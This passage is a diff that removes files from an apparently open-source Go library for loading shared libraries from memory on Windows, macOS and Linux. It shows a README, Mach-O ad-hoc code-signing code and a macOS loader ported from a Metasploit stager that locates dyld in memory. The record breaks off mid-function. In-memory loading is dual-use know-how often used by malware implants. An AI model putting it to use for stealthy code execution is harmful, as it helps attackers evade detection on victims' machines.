Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
-45
@@ -1,45 +0,0 @@
|
||||
# The Universal Loader
|
||||
|
||||
This loader provides a unified Go interface for loading shared libraries **from memory** on Windows, OSX, and Linux.
|
||||
|
||||
Also included is a cross-platform `Call()` implementation that lets you call into exported symbols from those libraries without stress.
|
||||
|
||||
### Basic Usage
|
||||
|
||||
*libraryPath* set to `lib.so` for Linux, `lib.dyld` for OSX, or `lib.DLL` for Windows, then:
|
||||
|
||||
```
|
||||
image, err = ioutil.ReadFile(libraryPath)
|
||||
...
|
||||
|
||||
loader, err := universal.NewLoader()
|
||||
...
|
||||
|
||||
library, err := loader.LoadLibrary("main", &image)
|
||||
...
|
||||
|
||||
val, err := library.Call("Runme", 7)
|
||||
...
|
||||
```
|
||||
|
||||
Complete working examples of usage can be found in the examples/ folder in this repo.
|
||||
|
||||
|
||||
### Features and Limitations
|
||||
- OSX backend uses the system loader, so multiple interdependent libraries can be loaded.
|
||||
- OSX backend **automatically adds the underscore prefix for you**, so you can refer to symbols the same way on Linux, Windows, and OSX.
|
||||
- Linux and Windows backends do not use the system loader, so interdependent libraries cannot be loaded.
|
||||
- Linux backend does not use memfd!
|
||||
***I believe this is the first Golang Linux loader that does not use memfd!***
|
||||
|
||||
### Supported Architectures
|
||||
- OSX arm64 M1 Apple Chip (tested)
|
||||
***This is the first loader I've seen, Golang or not, that works on the M1!***
|
||||
- OSX amd64 (tested)
|
||||
- Windows amd64 (tested)
|
||||
- Windows 386 (untested, should work)
|
||||
- Linux amd64 (tested)
|
||||
- Linux 386 (untested, should work)
|
||||
- Other POSIX systems on 386, amd64, or arm64 (untested, should work)
|
||||
|
||||
**If you try this on any untested platforms, whether it works or not, let me know!**
|
||||
-363
@@ -1,363 +0,0 @@
|
||||
// Copyright 2020 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package codesign provides basic functionalities for
|
||||
// ad-hoc code signing of Mach-O files.
|
||||
//
|
||||
// This is not a general tool for code-signing. It is made
|
||||
// specifically for the Go toolchain. It uses the same
|
||||
// ad-hoc signing algorithm as the Darwin linker.
|
||||
package universal
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"debug/macho"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// Code signature layout.
|
||||
//
|
||||
// The code signature is a block of bytes that contains
|
||||
// a SuperBlob, which contains one or more Blobs. For ad-hoc
|
||||
// signing, a single CodeDirectory Blob suffices.
|
||||
//
|
||||
// A SuperBlob starts with its header (the binary representation
|
||||
// of the SuperBlob struct), followed by a list of (in our case,
|
||||
// one) Blobs (offset and size). A CodeDirectory Blob starts
|
||||
// with its head (the binary representation of CodeDirectory struct),
|
||||
// followed by the identifier (as a C string) and the hashes, at
|
||||
// the corresponding offsets.
|
||||
//
|
||||
// The signature data must be included in the __LINKEDIT segment.
|
||||
// In the Mach-O file header, an LC_CODE_SIGNATURE load command
|
||||
// points to the data.
|
||||
|
||||
const (
|
||||
pageSizeBits = 12
|
||||
pageSize = 1 << pageSizeBits
|
||||
machoHeaderSize64 = 8 * 4 // size of 64-bit Mach-O header
|
||||
)
|
||||
|
||||
const LC_CODE_SIGNATURE = 0x1d
|
||||
|
||||
// Constants and struct layouts are from
|
||||
// https://opensource.apple.com/source/xnu/xnu-4903.270.47/osfmk/kern/cs_blobs.h
|
||||
|
||||
const (
|
||||
CSMAGIC_REQUIREMENT = 0xfade0c00 // single Requirement blob
|
||||
CSMAGIC_REQUIREMENTS = 0xfade0c01 // Requirements vector (internal requirements)
|
||||
CSMAGIC_CODEDIRECTORY = 0xfade0c02 // CodeDirectory blob
|
||||
CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0 // embedded form of signature data
|
||||
CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1 // multi-arch collection of embedded signatures
|
||||
|
||||
CSSLOT_CODEDIRECTORY = 0 // slot index for CodeDirectory
|
||||
)
|
||||
|
||||
const (
|
||||
CS_HASHTYPE_SHA1 = 1
|
||||
CS_HASHTYPE_SHA256 = 2
|
||||
CS_HASHTYPE_SHA256_TRUNCATED = 3
|
||||
CS_HASHTYPE_SHA384 = 4
|
||||
)
|
||||
|
||||
const (
|
||||
CS_EXECSEG_MAIN_BINARY = 0x1 // executable segment denotes main binary
|
||||
CS_EXECSEG_ALLOW_UNSIGNED = 0x10 // allow unsigned pages (for debugging)
|
||||
CS_EXECSEG_DEBUGGER = 0x20 // main binary is debugger
|
||||
CS_EXECSEG_JIT = 0x40 // JIT enabled
|
||||
CS_EXECSEG_SKIP_LV = 0x80 // skip library validation
|
||||
CS_EXECSEG_CAN_LOAD_CDHASH = 0x100 // can bless cdhash for execution
|
||||
CS_EXECSEG_CAN_EXEC_CDHASH = 0x200 // can execute blessed cdhash
|
||||
)
|
||||
|
||||
type Blob struct {
|
||||
typ uint32 // type of entry
|
||||
offset uint32 // offset of entry
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (b *Blob) put(out []byte) []byte {
|
||||
out = put32be(out, b.typ)
|
||||
out = put32be(out, b.offset)
|
||||
return out
|
||||
}
|
||||
|
||||
const blobSize = 2 * 4
|
||||
|
||||
type SuperBlob struct {
|
||||
magic uint32 // magic number
|
||||
length uint32 // total length of SuperBlob
|
||||
count uint32 // number of index entries following
|
||||
// blobs []Blob
|
||||
}
|
||||
|
||||
func (s *SuperBlob) put(out []byte) []byte {
|
||||
out = put32be(out, s.magic)
|
||||
out = put32be(out, s.length)
|
||||
out = put32be(out, s.count)
|
||||
return out
|
||||
}
|
||||
|
||||
const superBlobSize = 3 * 4
|
||||
|
||||
type CodeDirectory struct {
|
||||
magic uint32 // magic number (CSMAGIC_CODEDIRECTORY)
|
||||
length uint32 // total length of CodeDirectory blob
|
||||
version uint32 // compatibility version
|
||||
flags uint32 // setup and mode flags
|
||||
hashOffset uint32 // offset of hash slot element at index zero
|
||||
identOffset uint32 // offset of identifier string
|
||||
nSpecialSlots uint32 // number of special hash slots
|
||||
nCodeSlots uint32 // number of ordinary (code) hash slots
|
||||
codeLimit uint32 // limit to main image signature range
|
||||
hashSize uint8 // size of each hash in bytes
|
||||
hashType uint8 // type of hash (cdHashType* constants)
|
||||
_pad1 uint8 // unused (must be zero)
|
||||
pageSize uint8 // log2(page size in bytes); 0 => infinite
|
||||
_pad2 uint32 // unused (must be zero)
|
||||
scatterOffset uint32
|
||||
teamOffset uint32
|
||||
_pad3 uint32
|
||||
codeLimit64 uint64
|
||||
execSegBase uint64
|
||||
execSegLimit uint64
|
||||
execSegFlags uint64
|
||||
// data follows
|
||||
}
|
||||
|
||||
func (c *CodeDirectory) put(out []byte) []byte {
|
||||
out = put32be(out, c.magic)
|
||||
out = put32be(out, c.length)
|
||||
out = put32be(out, c.version)
|
||||
out = put32be(out, c.flags)
|
||||
out = put32be(out, c.hashOffset)
|
||||
out = put32be(out, c.identOffset)
|
||||
out = put32be(out, c.nSpecialSlots)
|
||||
out = put32be(out, c.nCodeSlots)
|
||||
out = put32be(out, c.codeLimit)
|
||||
out = put8(out, c.hashSize)
|
||||
out = put8(out, c.hashType)
|
||||
out = put8(out, c._pad1)
|
||||
out = put8(out, c.pageSize)
|
||||
out = put32be(out, c._pad2)
|
||||
out = put32be(out, c.scatterOffset)
|
||||
out = put32be(out, c.teamOffset)
|
||||
out = put32be(out, c._pad3)
|
||||
out = put64be(out, c.codeLimit64)
|
||||
out = put64be(out, c.execSegBase)
|
||||
out = put64be(out, c.execSegLimit)
|
||||
out = put64be(out, c.execSegFlags)
|
||||
return out
|
||||
}
|
||||
|
||||
const codeDirectorySize = 13*4 + 4 + 4*8
|
||||
|
||||
// CodeSigCmd is Mach-O LC_CODE_SIGNATURE load command.
|
||||
type CodeSigCmd struct {
|
||||
Cmd uint32 // LC_CODE_SIGNATURE
|
||||
Cmdsize uint32 // sizeof this command (16)
|
||||
Dataoff uint32 // file offset of data in __LINKEDIT segment
|
||||
Datasize uint32 // file size of data in __LINKEDIT segment
|
||||
}
|
||||
|
||||
func FindCodeSigCmd(f *macho.File) (CodeSigCmd, bool) {
|
||||
get32 := f.ByteOrder.Uint32
|
||||
for _, l := range f.Loads {
|
||||
data := l.Raw()
|
||||
cmd := get32(data)
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
return CodeSigCmd{
|
||||
cmd,
|
||||
get32(data[4:]),
|
||||
get32(data[8:]),
|
||||
get32(data[12:]),
|
||||
}, true
|
||||
}
|
||||
}
|
||||
return CodeSigCmd{}, false
|
||||
}
|
||||
|
||||
func put32be(b []byte, x uint32) []byte { binary.BigEndian.PutUint32(b, x); return b[4:] }
|
||||
func put64be(b []byte, x uint64) []byte { binary.BigEndian.PutUint64(b, x); return b[8:] }
|
||||
func put8(b []byte, x uint8) []byte { b[0] = x; return b[1:] }
|
||||
func puts(b, s []byte) []byte { n := copy(b, s); return b[n:] }
|
||||
|
||||
// Size computes the size of the code signature.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Size(codeSize int64, id string) int64 {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
cdirSz := hashOff + nhashes*sha256.Size
|
||||
return int64(superBlobSize+blobSize) + cdirSz
|
||||
}
|
||||
|
||||
// Sign generates an ad-hoc code signature and writes it to out.
|
||||
// out must have length at least Size(codeSize, id).
|
||||
// data is the file content without the signature, of size codeSize.
|
||||
// textOff and textSize is the file offset and size of the text segment.
|
||||
// isMain is true if this is a main executable.
|
||||
// id is the identifier used for signing (a field in CodeDirectory blob, which
|
||||
// has no significance in ad-hoc signing).
|
||||
func Sign(out []byte, data io.Reader, id string, codeSize, textOff, textSize int64, isMain bool) {
|
||||
nhashes := (codeSize + pageSize - 1) / pageSize
|
||||
idOff := int64(codeDirectorySize)
|
||||
hashOff := idOff + int64(len(id)+1)
|
||||
sz := Size(codeSize, id)
|
||||
|
||||
// emit blob headers
|
||||
sb := SuperBlob{
|
||||
magic: CSMAGIC_EMBEDDED_SIGNATURE,
|
||||
length: uint32(sz),
|
||||
count: 1,
|
||||
}
|
||||
blob := Blob{
|
||||
typ: CSSLOT_CODEDIRECTORY,
|
||||
offset: superBlobSize + blobSize,
|
||||
}
|
||||
cdir := CodeDirectory{
|
||||
magic: CSMAGIC_CODEDIRECTORY,
|
||||
length: uint32(sz) - (superBlobSize + blobSize),
|
||||
version: 0x20400,
|
||||
flags: 0x20002, // adhoc | linkerSigned
|
||||
hashOffset: uint32(hashOff),
|
||||
identOffset: uint32(idOff),
|
||||
nCodeSlots: uint32(nhashes),
|
||||
codeLimit: uint32(codeSize),
|
||||
hashSize: sha256.Size,
|
||||
hashType: CS_HASHTYPE_SHA256,
|
||||
pageSize: uint8(pageSizeBits),
|
||||
execSegBase: uint64(textOff),
|
||||
execSegLimit: uint64(textSize),
|
||||
}
|
||||
if isMain {
|
||||
cdir.execSegFlags = CS_EXECSEG_MAIN_BINARY
|
||||
}
|
||||
|
||||
outp := out
|
||||
outp = sb.put(outp)
|
||||
outp = blob.put(outp)
|
||||
outp = cdir.put(outp)
|
||||
|
||||
// emit the identifier
|
||||
outp = puts(outp, []byte(id+"\000"))
|
||||
|
||||
// emit hashes
|
||||
var buf [pageSize]byte
|
||||
h := sha256.New()
|
||||
p := 0
|
||||
for p < int(codeSize) {
|
||||
n, err := io.ReadFull(data, buf[:])
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
panic(err)
|
||||
}
|
||||
if p+n > int(codeSize) {
|
||||
n = int(codeSize) - p
|
||||
}
|
||||
p += n
|
||||
h.Reset()
|
||||
h.Write(buf[:n])
|
||||
b := h.Sum(nil)
|
||||
outp = puts(outp, b[:])
|
||||
}
|
||||
}
|
||||
|
||||
// machoCodeSign - sign the macho file
|
||||
// This code has been borrowed from https://github.com/golang/go/blob/master/src/cmd/internal/codesign/codesign.go
|
||||
func machoCodeSign(fname string) error {
|
||||
f, err := os.OpenFile(fname, os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
mf, err := macho.NewFile(f)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if mf.Magic != macho.Magic64 {
|
||||
return fmt.Errorf("not 64-bit Mach-O file: %s", fname)
|
||||
}
|
||||
|
||||
// Find existing LC_CODE_SIGNATURE and __LINKEDIT segment
|
||||
var sigOff, sigSz, csCmdOff, linkeditOff int64
|
||||
var linkeditSeg, textSeg *macho.Segment
|
||||
loadOff := int64(machoHeaderSize64)
|
||||
get32 := mf.ByteOrder.Uint32
|
||||
for _, l := range mf.Loads {
|
||||
data := l.Raw()
|
||||
cmd, sz := get32(data), get32(data[4:])
|
||||
if cmd == LC_CODE_SIGNATURE {
|
||||
sigOff = int64(get32(data[8:]))
|
||||
sigSz = int64(get32(data[12:]))
|
||||
csCmdOff = loadOff
|
||||
}
|
||||
if seg, ok := l.(*macho.Segment); ok {
|
||||
switch seg.Name {
|
||||
case "__LINKEDIT":
|
||||
linkeditSeg = seg
|
||||
linkeditOff = loadOff
|
||||
case "__TEXT":
|
||||
textSeg = seg
|
||||
}
|
||||
}
|
||||
loadOff += int64(sz)
|
||||
}
|
||||
|
||||
if sigOff == 0 {
|
||||
// The C linker doesn't generate a signed binary, for some reason.
|
||||
// Skip.
|
||||
return nil
|
||||
}
|
||||
|
||||
fi, err := f.Stat()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if sigOff+sigSz != fi.Size() {
|
||||
// We don't expect anything after the signature (this will invalidate
|
||||
// the signature anyway.)
|
||||
return fmt.Errorf("unexpected content after code signature")
|
||||
}
|
||||
|
||||
sz := Size(sigOff, "a.out")
|
||||
if sz != sigSz {
|
||||
// Update the load command,
|
||||
var tmp [8]byte
|
||||
mf.ByteOrder.PutUint32(tmp[:4], uint32(sz))
|
||||
_, err = f.WriteAt(tmp[:4], csCmdOff+12)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Uodate the __LINKEDIT segment.
|
||||
segSz := sigOff + sz - int64(linkeditSeg.Offset)
|
||||
mf.ByteOrder.PutUint64(tmp[:8], uint64(segSz))
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Memsz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.WriteAt(tmp[:8], int64(linkeditOff)+int64(unsafe.Offsetof(macho.Segment64{}.Filesz)))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
cs := make([]byte, sz)
|
||||
Sign(cs, f, "a.out", sigOff, int64(textSeg.Offset), int64(textSeg.Filesz), false)
|
||||
_, err = f.WriteAt(cs, sigOff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = f.Truncate(sigOff + sz)
|
||||
return err
|
||||
}
|
||||
-391
@@ -1,391 +0,0 @@
|
||||
package universal
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"unsafe"
|
||||
|
||||
"github.com/Binject/debug/macho"
|
||||
"github.com/awgh/cppgo/asmcall/cdecl"
|
||||
"github.com/awgh/rawreader"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
const MaxUint = ^uint(0)
|
||||
const MaxInt = int(MaxUint >> 1)
|
||||
const LIB_DYLD_PATH = "/usr/lib/system/libdyld.dylib"
|
||||
|
||||
func syscallSharedRegionCheckNp() (uint64, error) {
|
||||
var address uint64
|
||||
r1, _, _ := unix.RawSyscall(unix.SYS_SHARED_REGION_CHECK_NP, uintptr(unsafe.Pointer(&address)), 0, 0)
|
||||
if r1 != 0 {
|
||||
return 0, errors.New("shared region check failed")
|
||||
}
|
||||
return address, nil
|
||||
}
|
||||
|
||||
func isSierra() bool {
|
||||
var utsName unix.Utsname
|
||||
err := unix.Uname(&utsName)
|
||||
if err != nil {
|
||||
return true
|
||||
}
|
||||
if utsName.Release[0] == '1' && utsName.Release[1] < '6' {
|
||||
return false
|
||||
}
|
||||
if utsName.Release[0] == '9' && utsName.Release[1] == '.' {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// LoadLibraryImpl - loads a single library to memory, without trying to check or load required imports
|
||||
func LoadLibraryImpl(name string, image *[]byte) (*Library, error) {
|
||||
// On MacOS Sierra and up, NSLinkModule is just a wrapper around
|
||||
// dlopen, pwrite and unlink. There's no "in-memory" only method using
|
||||
// dyld4 APIs, so there's no point in using NSCreateObjectFileImageFromMemory and NSLinkModule anymore.
|
||||
// We can just write our own version that:
|
||||
// - writes the binary image to a temporary file
|
||||
// - calls dlopen on the temporary file
|
||||
// - unlinks the temporary file
|
||||
// - uses dlsym to resolve all the symbols
|
||||
// See https://github.com/apple-oss-distributions/dyld/blob/main/dyld/DyldAPIs.cpp#L2785-L2847 for more details.
|
||||
if isSierra() {
|
||||
return LoadLibraryDlopen(name, image)
|
||||
}
|
||||
// force input image to be a bundle
|
||||
// this is not the most efficient method, but it does create the abililty to do more fixups down the road,
|
||||
// like if we added universal file support
|
||||
machoFile, err := macho.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
machoFile.FileHeader.Type = macho.TypeBundle
|
||||
newImage, err := machoFile.Bytes()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
image = &newImage
|
||||
|
||||
// Find dyld, loop through all the Mach-O images in memory until we find
|
||||
// one that exports NSCreateObjectFileImageFromMemory and NSLinkModule
|
||||
var execBase uintptr = uintptr(0x0000000001000000)
|
||||
ptr := execBase
|
||||
var createObjectAddr, linkModuleAddr uint64
|
||||
|
||||
for i := 0; i < 10; i++ { // quit after the first ten images
|
||||
ptr, err = findMacho(ptr, 0x1000)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fmt.Printf("Found image at 0x%08x\n", ptr)
|
||||
rawr := rawreader.New(ptr, MaxInt)
|
||||
machoFile, err := macho.NewFileFromMemory(rawr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports := machoFile.Exports()
|
||||
|
||||
foundCreateObj := false
|
||||
foundLinkModule := false
|
||||
for _, export := range exports {
|
||||
if export.Name == "_NSCreateObjectFileImageFromMemory" {
|
||||
fmt.Println("found NSCreateObjectFileImageFromMemory")
|
||||
createObjectAddr = export.VirtualAddress
|
||||
foundCreateObj = true
|
||||
}
|
||||
if export.Name == "_NSLinkModule" {
|
||||
fmt.Println("found NSLinkModule")
|
||||
linkModuleAddr = export.VirtualAddress
|
||||
foundLinkModule = true
|
||||
}
|
||||
}
|
||||
if foundCreateObj && foundLinkModule {
|
||||
fmt.Println("Found dyld!")
|
||||
break
|
||||
}
|
||||
ptr = ptr + 0x1000
|
||||
}
|
||||
|
||||
createObjectProc := ptr + uintptr(createObjectAddr)
|
||||
linkModuleProc := ptr + uintptr(linkModuleAddr)
|
||||
|
||||
imageLen := uint64(len(*image))
|
||||
var NSObjectFileImage uintptr
|
||||
_, err = cdecl.Call(createObjectProc,
|
||||
uintptr(unsafe.Pointer(&(*image)[0])), // pointer to image (*char)
|
||||
uintptr(unsafe.Pointer(&imageLen)), // length of image (size_t)
|
||||
uintptr(unsafe.Pointer(&NSObjectFileImage))) // output pointer to struct
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
options := uint64(3) // NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW
|
||||
modPtr, err := cdecl.Call(linkModuleProc,
|
||||
uintptr(unsafe.Pointer(NSObjectFileImage)), // file image struct from NSCreateObjectFileImageFromMemory
|
||||
uintptr(unsafe.Pointer(&name)), // image name
|
||||
uintptr(unsafe.Pointer(&options))) // image options flags
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
libPtr, err := findMachoPtr(modPtr)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return nil, err
|
||||
}
|
||||
fmt.Printf("Found image at 0x%08x\n", libPtr)
|
||||
|
||||
// parse the Mach-o we just loaded to get the exports
|
||||
rawr := rawreader.New(libPtr, MaxInt)
|
||||
machoFile, err = macho.NewFileFromMemory(rawr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports := machoFile.Exports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
lib := Library{
|
||||
BaseAddress: libPtr,
|
||||
Exports: make(map[string]uint64),
|
||||
}
|
||||
for _, x := range exports {
|
||||
lib.Exports[x.Name] = uint64(x.VirtualAddress)
|
||||
}
|
||||
return &lib, nil
|
||||
}
|
||||
|
||||
// LoadLibraryDlopen - loads a single library using dlopen and resolves
|
||||
// all exported symbols using dlsym. This function writes to a temporary
|
||||
// file and then loads the file into memory, and unlinks it.
|
||||
// This is similar to what NSLinkModule does nowadays.
|
||||
func LoadLibraryDlopen(name string, image *[]byte) (*Library, error) {
|
||||
var (
|
||||
dlopenAddr uint64
|
||||
dlSymAddr uint64
|
||||
dyldAddress uint64
|
||||
)
|
||||
|
||||
machoFile, err := macho.NewFile(bytes.NewReader(*image))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// We use the shared library cache to find the libdyld.dylib wrapper loaded into our process.
|
||||
// Once we have the address of the libdyld.dylib wrapper, we can parse it in memory using debug/macho (thanks Awgh)
|
||||
// and find the exports we're interested in: dlopen and dlsym.
|
||||
// This part of the code is a port from the awesome work of usiegl00: https://github.com/usiegl00/metasploit-framework/blob/osx-stage-monterey/external/source/shellcode/osx/stager/main.c#L159-L183
|
||||
sharedRegionStart, err := syscallSharedRegionCheckNp()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dyldCacheheader := (*DyldCacheHeader)(unsafe.Pointer(uintptr(sharedRegionStart)))
|
||||
|
||||
imagesCount := dyldCacheheader.ImagesCountOld
|
||||
if imagesCount == 0 {
|
||||
imagesCount = dyldCacheheader.ImagesCount
|
||||
}
|
||||
imagesOffset := dyldCacheheader.ImagesOffsetOld
|
||||
if imagesOffset == 0 {
|
||||
imagesOffset = dyldCacheheader.ImagesOffset
|
||||
}
|
||||
sharedFileMapping := (*SharedFileMapping)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(dyldCacheheader.MappingOffset))))
|
||||
|
||||
dyldCacheImageInfo := (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart + uint64(imagesOffset))))
|
||||
for i := uint32(0); i < imagesCount; i++ {
|
||||
pathFileOffset := sharedRegionStart + uint64(dyldCacheImageInfo.PathFileOffset)
|
||||
dylibPath := readCString(pathFileOffset)
|
||||
if dylibPath == LIB_DYLD_PATH {
|
||||
dyldAddress = dyldCacheImageInfo.Address
|
||||
break
|
||||
}
|
||||
dyldCacheImageInfo = (*DyldCacheImageInfo)(unsafe.Pointer(uintptr(sharedRegionStart+uint64(imagesOffset)) + uintptr(i)*unsafe.Sizeof(DyldCacheImageInfo{})))
|
||||
}
|
||||
|
||||
offset := sharedRegionStart - sharedFileMapping.Address
|
||||
dyldAddress += offset
|
||||
|
||||
rawr := rawreader.New(uintptr(dyldAddress), MaxInt)
|
||||
dyldFile, err := macho.NewFileFromMemory(rawr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
exports := dyldFile.Exports()
|
||||
|
||||
for _, export := range exports {
|
||||
if export.Name == "_dlopen" {
|
||||
dlopenAddr = export.VirtualAddress + offset
|
||||
}
|
||||
if export.Name == "_dlsym" {
|
||||
dlSymAddr = export.VirtualAddress + offset
|
||||
}
|
||||
}
|
||||
dlopenProc := uintptr(dlopenAddr)
|
||||
dlSymProc := uintptr(dlSymAddr)
|
||||
|
||||
options := 0x80000080 // RTLD_UNLOADABLE | RTLD_NODELETE per https://github.dev/apple-oss-distributions/dyld/blob/419f8cbca6fb3420a248f158714a9d322af2aa5a/dyld/DyldAPIs.cpp#L2818-L2819
|
||||
|
||||
// Create a temp file to write the image to so we can dlopen it.
|
||||
// I wish MacOS had a memfd_create equivalent ...
|
||||
tmpFile, err := ioutil.TempFile("", "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
filename := tmpFile.Name()
|
||||
imagePath := append([]byte(filename), 0x00) // C strings are the worst
|
||||
|
||||
_, err = tmpFile.Write(*image)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
